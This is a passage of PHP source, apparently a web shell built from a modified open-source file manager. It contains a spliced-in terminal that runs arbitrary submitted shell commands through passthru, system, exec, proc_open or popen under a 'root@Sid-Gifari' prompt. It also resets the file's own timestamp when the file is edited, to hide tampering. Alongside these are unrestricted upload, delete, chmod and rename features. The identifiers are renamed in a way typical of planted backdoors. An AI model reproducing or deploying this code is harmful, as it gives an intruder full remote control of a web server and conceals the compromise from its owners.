		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
